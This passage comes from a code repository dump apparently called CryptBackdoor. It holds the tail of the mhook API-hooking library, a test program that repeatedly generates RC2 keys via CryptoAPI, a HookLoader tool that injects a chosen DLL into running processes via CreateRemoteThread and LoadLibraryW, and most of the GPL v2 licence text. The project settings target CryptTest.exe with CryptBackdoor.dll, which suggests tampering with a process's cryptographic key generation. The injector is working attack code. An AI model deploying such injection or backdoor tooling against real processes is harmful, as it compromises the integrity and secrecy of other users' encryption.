most 5 bytes so we can do it directly 842 | // update the API itself 843 | pbCode = (PBYTE)pSystemFunction; 844 | pbCode = EmitJump(pbCode, (PBYTE)pHookFunction); 845 | } 846 | 847 | // update data members 848 | pTrampoline->cbOverwrittenCode = dwInstructionLength; 849 | pTrampoline->pSystemFunction = (PBYTE)pSystemFunction; 850 | pTrampoline->pHookFunction = (PBYTE)pHookFunction; 851 | 852 | // flush instruction cache and restore original protection 853 | FlushInstructionCache(GetCurrentProcess(), pTrampoline->codeTrampoline, dwInstructionLength); 854 | VirtualProtect(pTrampoline, sizeof(MHOOKS_TRAMPOLINE), dwOldProtectTrampolineFunction, &dwOldProtectTrampolineFunction); 855 | } else { 856 | ODPRINTF((L"mhooks: Mhook_SetHook: failed VirtualProtect 2: %d", gle())); 857 | } 858 | // flush instruction cache and restore original protection 859 | FlushInstructionCache(GetCurrentProcess(), pSystemFunction, dwInstructionLength); 860 | VirtualProtect(pSystemFunction, dwInstructionLength, dwOldProtectSystemFunction, &dwOldProtectSystemFunction); 861 | } else { 862 | ODPRINTF((L"mhooks: Mhook_SetHook: failed VirtualProtect 1: %d", gle())); 863 | } 864 | if (pTrampoline->pSystemFunction) { 865 | // this is what the application will use as the entry point 866 | // to the "original" unhooked function. 867 | *ppSystemFunction = pTrampoline->codeTrampoline; 868 | ODPRINTF((L"mhooks: Mhook_SetHook: Hooked the function!")); 869 | } else { 870 | // if we failed discard the trampoline (forcing VirtualFree) 871 | TrampolineFree(pTrampoline, TRUE); 872 | pTrampoline = NULL; 873 | } 874 | } 875 | // resume everybody else 876 | ResumeOtherThreads(); 877 | } else { 878 | ODPRINTF((L"mhooks: disassembly signals %d bytes (unacceptable)", dwInstructionLength)); 879 | } 880 | LeaveCritSec(); 881 | return (pTrampoline != NULL); 882 | } 883 | 884 | //========================================================================= 885 | BOOL Mhook_Unhook(PVOID *ppHookedFunction) { 886 | ODPRINTF((L"mhooks: Mhook_Unhook: %p", *ppHookedFunction)); 887 | BOOL bRet = FALSE; 888 | EnterCritSec(); 889 | // get the trampoline structure that corresponds to our function 890 | MHOOKS_TRAMPOLINE* pTrampoline = TrampolineGet((PBYTE)*ppHookedFunction); 891 | if (pTrampoline) { 892 | // make sure nobody's executing code where we're about to overwrite a few bytes 893 | SuspendOtherThreads(pTrampoline->pSystemFunction, pTrampoline->cbOverwrittenCode); 894 | ODPRINTF((L"mhooks: Mhook_Unhook: found struct at %p", pTrampoline)); 895 | DWORD dwOldProtectSystemFunction = 0; 896 | // make memory writable 897 | if (VirtualProtect(pTrampoline->pSystemFunction, pTrampoline->cbOverwrittenCode, PAGE_EXECUTE_READWRITE, &dwOldProtectSystemFunction)) { 898 | ODPRINTF((L"mhooks: Mhook_Unhook: readwrite set on system function")); 899 | PBYTE pbCode = (PBYTE)pTrampoline->pSystemFunction; 900 | for (DWORD i = 0; icbOverwrittenCode; i++) { 901 | pbCode[i] = pTrampoline->codeUntouched[i]; 902 | } 903 | // flush instruction cache and make memory unwritable 904 | FlushInstructionCache(GetCurrentProcess(), pTrampoline->pSystemFunction, pTrampoline->cbOverwrittenCode); 905 | VirtualProtect(pTrampoline->pSystemFunction, pTrampoline->cbOverwrittenCode, dwOldProtectSystemFunction, &dwOldProtectSystemFunction); 906 | // return the original function pointer 907 | *ppHookedFunction = pTrampoline->pSystemFunction; 908 | bRet = TRUE; 909 | ODPRINTF((L"mhooks: Mhook_Unhook: sysfunc: %p", *ppHookedFunction)); 910 | // free the trampoline while not really discarding it from memory 911 | TrampolineFree(pTrampoline, FALSE); 912 | ODPRINTF((L"mhooks: Mhook_Unhook: unhook successful")); 913 | } else { 914 | ODPRINTF((L"mhooks: Mhook_Unhook: failed VirtualProtect 1: %d", gle())); 915 | } 916 | // make the other guys runnable 917 | ResumeOtherThreads(); 918 | } 919 | LeaveCritSec(); 920 | return bRet; 921 | } 922 | 923 | //========================================================================= 924 | -------------------------------------------------------------------------------- /CryptBackdoor/mhook-lib/mhook.h: -------------------------------------------------------------------------------- 1 | //Copyright (c) 2007-2008, Marton Anka 2 | // 3 | //Permission is hereby granted, free of charge, to any person obtaining a 4 | //copy of this software and associated documentation files (the "Software"), 5 | //to deal in the Software without restriction, including without limitation 6 | //the rights to use, copy, modify, merge, publish, distribute, sublicense, 7 | //and/or sell copies of the Software, and to permit persons to whom the 8 | //Software is furnished to do so, subject to the following conditions: 9 | // 10 | //The above copyright notice and this permission notice shall be included 11 | //in all copies or substantial portions of the Software. 12 | // 13 | //THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS 14 | //OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | //FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 16 | //THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | //LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 18 | //FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS 19 | //IN THE SOFTWARE. 20 | 21 | #ifdef _M_IX86 22 | #define _M_IX86_X64 23 | #elif defined _M_X64 24 | #define _M_IX86_X64 25 | #endif 26 | 27 | BOOL Mhook_SetHook(PVOID *ppSystemFunction, PVOID pHookFunction); 28 | BOOL Mhook_Unhook(PVOID *ppHookedFunction); 29 | -------------------------------------------------------------------------------- /CryptTest/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | add_executable(CryptTest main.c) 2 | 3 | -------------------------------------------------------------------------------- /CryptTest/CryptTest.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {858F456F-9A2B-43AC-814D-E083C6A26250} 23 | Win32Proj 24 | CryptTest 25 | 8.1 26 | 27 | 28 | 29 | Application 30 | true 31 | v140 32 | Unicode 33 | 34 | 35 | Application 36 | false 37 | v140 38 | true 39 | Unicode 40 | 41 | 42 | Application 43 | true 44 | v140 45 | Unicode 46 | 47 | 48 | Application 49 | false 50 | v140 51 | true 52 | Unicode 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | true 74 | 75 | 76 | true 77 | 78 | 79 | false 80 | 81 | 82 | false 83 | 84 | 85 | 86 | 87 | 88 | Level3 89 | Disabled 90 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 91 | true 92 | 93 | 94 | Console 95 | true 96 | 97 | 98 | 99 | 100 | 101 | 102 | Level3 103 | Disabled 104 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 105 | true 106 | 107 | 108 | Console 109 | true 110 | 111 | 112 | 113 | 114 | Level3 115 | 116 | 117 | MaxSpeed 118 | true 119 | true 120 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 121 | true 122 | MultiThreaded 123 | 124 | 125 | Console 126 | true 127 | true 128 | true 129 | 130 | 131 | 132 | 133 | Level3 134 | 135 | 136 | MaxSpeed 137 | true 138 | true 139 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 140 | true 141 | 142 | 143 | Console 144 | true 145 | true 146 | true 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | -------------------------------------------------------------------------------- /CryptTest/CryptTest.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | 14 | 15 | Source Files 16 | 17 | 18 | -------------------------------------------------------------------------------- /CryptTest/CryptTest.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | "hello world!" 5 | WindowsLocalDebugger 6 | 7 | 8 | true 9 | 10 | -------------------------------------------------------------------------------- /CryptTest/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void PrintHex(char* data, int size) { 6 | for (int i = 0; i < size; i++) { 7 | printf("%02X ", (unsigned char)data[i]); 8 | if (i % 4 == 3) 9 | printf(" "); 10 | if (i % 8 == 7) 11 | printf(" "); 12 | if (i % 16 == 15) 13 | printf("\n"); 14 | } 15 | } 16 | 17 | void PrintError(char* name) { 18 | fprintf(stderr, "Error: %s: %x\n", name, GetLastError()); 19 | } 20 | 21 | int main(int argc, char* argv[]) { 22 | HCRYPTPROV hProv; 23 | HCRYPTKEY hKey; 24 | 25 | if (argc != 2) { 26 | fprintf(stderr, "Usage: CryptTest \n"); 27 | exit(1); 28 | } 29 | 30 | char* plaintext = argv[1]; 31 | 32 | if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_FULL, 33 | CRYPT_VERIFYCONTEXT)) { 34 | PrintError("CryptAcquireContext"); 35 | } 36 | 37 | while (1) { 38 | puts("Generating key..."); 39 | 40 | if (!CryptGenKey(hProv, CALG_RC2, 0x800000, &hKey)) { 41 | PrintError("CryptGenKey"); 42 | } 43 | 44 | puts("New key generated..."); 45 | 46 | DWORD plaintextSize = strlen(plaintext); 47 | DWORD cipherSize = plaintextSize; 48 | if (!CryptEncrypt(hKey, 0, 1, 0, 0, &cipherSize, 0)) { 49 | PrintError("CryptEncrypt[0]"); 50 | } 51 | 52 | BYTE* data = (BYTE*)malloc(cipherSize); 53 | strncpy_s(data, cipherSize, plaintext, plaintextSize); 54 | if (!CryptEncrypt(hKey, 0, 1, 0, data, &plaintextSize, cipherSize)) { 55 | PrintError("CryptEncrypt[0]"); 56 | } 57 | 58 | puts("Encrypted data:"); 59 | PrintHex(data, cipherSize); 60 | puts("\n\n"); 61 | 62 | if (!CryptDestroyKey(hKey)) { 63 | PrintError("CryptDestroyKey"); 64 | } 65 | 66 | Sleep(5000); 67 | } 68 | 69 | if (!CryptReleaseContext(hProv, 0)) { 70 | PrintError("CryptReleaseContext"); 71 | } 72 | getchar(); 73 | return 0; 74 | } 75 | -------------------------------------------------------------------------------- /HookLoader/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | set (CMAKE_EXE_LINKER_FLAGS "-static") 2 | set (CMAKE_CXX_FLAGS "-municode") 3 | add_executable(HookLoader main.cpp) 4 | 5 | add_definitions (-DUNICODE) 6 | add_definitions (-D_UNICODE) 7 | 8 | set_property (TARGET HookLoader PROPERTY CXX_STANDARD 11) 9 | set_property (TARGET HookLoader PROPERTY CXX_STANDARD_REQUIRED ON) 10 | -------------------------------------------------------------------------------- /HookLoader/HookLoader.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {1EB1C304-8AD4-47D2-94E6-DFF9B6F08888} 23 | Win32Proj 24 | HookLoader 25 | 8.1 26 | 27 | 28 | 29 | Application 30 | true 31 | v140 32 | Unicode 33 | 34 | 35 | Application 36 | false 37 | v140 38 | true 39 | Unicode 40 | 41 | 42 | Application 43 | true 44 | v140 45 | Unicode 46 | 47 | 48 | Application 49 | false 50 | v140 51 | true 52 | Unicode 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | true 74 | 75 | 76 | true 77 | 78 | 79 | false 80 | 81 | 82 | false 83 | 84 | 85 | 86 | 87 | 88 | Level3 89 | Disabled 90 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | 100 | 101 | Level3 102 | Disabled 103 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | 105 | 106 | Console 107 | true 108 | 109 | 110 | 111 | 112 | Level3 113 | 114 | 115 | MaxSpeed 116 | true 117 | true 118 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 119 | MultiThreaded 120 | 121 | 122 | Console 123 | true 124 | true 125 | true 126 | 127 | 128 | 129 | 130 | Level3 131 | 132 | 133 | MaxSpeed 134 | true 135 | true 136 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 137 | 138 | 139 | Console 140 | true 141 | true 142 | true 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | -------------------------------------------------------------------------------- /HookLoader/HookLoader.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | 14 | 15 | Source Files 16 | 17 | 18 | -------------------------------------------------------------------------------- /HookLoader/HookLoader.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -n CryptTest.exe ..\Debug\CryptBackdoor.dll 5 | WindowsLocalDebugger 6 | 7 | -------------------------------------------------------------------------------- /HookLoader/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | #include 10 | 11 | using namespace std; 12 | 13 | const wchar_t kUsage[] = 14 | L"Usage: HookLoader [-p pid] [-n name] [pids...] hooked_dll"; 15 | 16 | vector FindProcessesPid(const wstring& processName) { 17 | vector pids; 18 | PROCESSENTRY32 pe32; 19 | pe32.dwSize = sizeof(PROCESSENTRY32); 20 | HANDLE hTool32 = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 21 | BOOL bProcess = Process32First(hTool32, &pe32); 22 | if (bProcess == TRUE) { 23 | while ((Process32Next(hTool32, &pe32)) == TRUE) { 24 | if (processName == pe32.szExeFile) { 25 | pids.push_back(pe32.th32ProcessID); 26 | } 27 | } 28 | } 29 | CloseHandle(hTool32); 30 | 31 | return pids; 32 | } 33 | 34 | bool IsFlag(const wstring& opt) { 35 | return opt[0] == L'-'; 36 | } 37 | 38 | bool FileExists(const wstring& path) { 39 | if (FILE* file = _wfopen(path.c_str(), L"r")) { 40 | fclose(file); 41 | return true; 42 | } else { 43 | return false; 44 | } 45 | } 46 | 47 | struct Options { 48 | vector pids; 49 | std::wstring hookedDllPath; 50 | 51 | static Options Parse(int argc, wchar_t** argv) { 52 | Options options; 53 | if (argc < 4) { 54 | wcerr << kUsage << endl; 55 | exit(1); 56 | } 57 | 58 | options.hookedDllPath = argv[argc - 1]; 59 | if (!FileExists(options.hookedDllPath)) { 60 | wcerr << "Hooked dll '" << options.hookedDllPath << "' does not exist" 61 | << endl; 62 | exit(1); 63 | } 64 | argv[argc - 1] = 0; 65 | 66 | wchar_t** parg = argv + 1; 67 | 68 | while (*parg) { 69 | wchar_t* arg = parg[0]; 70 | if (IsFlag(arg)) { 71 | if (!parg[0]) { 72 | wcerr << "Expecting value for option '" << arg << "'" << endl; 73 | wcerr << kUsage << endl; 74 | exit(1); 75 | } 76 | 77 | switch (arg[1]) { 78 | case L'p': 79 | options.pids.push_back(_wtoi(parg[1])); 80 | break; 81 | case L'n': { 82 | vector pids = FindProcessesPid(parg[1]); 83 | options.pids.insert(options.pids.end(), pids.begin(), pids.end()); 84 | } break; 85 | default: 86 | wcerr << "Unknown option '" << arg << "'" << endl; 87 | wcerr << kUsage << endl; 88 | exit(1); 89 | } 90 | 91 | parg += 2; 92 | } else { 93 | options.pids.push_back(_wtoi(arg)); 94 | parg += 1; 95 | } 96 | } 97 | 98 | return options; 99 | } 100 | }; 101 | 102 | void HookProcess(int pid, const wstring& hookedDllPath) { 103 | HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | 104 | PROCESS_VM_WRITE | 105 | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 106 | false, pid); 107 | assert(hProcess); 108 | 109 | LPVOID pLoadLibraryW = 110 | (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW"); 111 | assert(pLoadLibraryW); 112 | 113 | DWORD pathSize = (hookedDllPath.length() * 2 + 1); 114 | LPVOID lpParam = (LPVOID)VirtualAllocEx( 115 | hProcess, NULL, pathSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 116 | assert(lpParam); 117 | 118 | if (!WriteProcessMemory(hProcess, lpParam, hookedDllPath.c_str(), pathSize, 119 | NULL)) { 120 | perror("WriteProcessMemory"); 121 | } 122 | 123 | HANDLE hTh = CreateRemoteThread(hProcess, NULL, NULL, 124 | (LPTHREAD_START_ROUTINE)pLoadLibraryW, 125 | lpParam, NULL, NULL); 126 | wcout << "Hooked '" << hookedDllPath << "' in process [" << hProcess 127 | << "] from thread [" << hTh << "]" << endl; 128 | CloseHandle(hProcess); 129 | } 130 | 131 | extern "C" { 132 | 133 | int wmain(int argc, wchar_t* argv[]) { 134 | Options options = Options::Parse(argc, argv); 135 | 136 | for (int pid : options.pids) { 137 | HookProcess(pid, options.hookedDllPath); 138 | } 139 | 140 | return 0; 141 | } 142 | 143 | } // extern "C" 144 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | {description} 294 | Copyright (C) {year} {fullname} 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 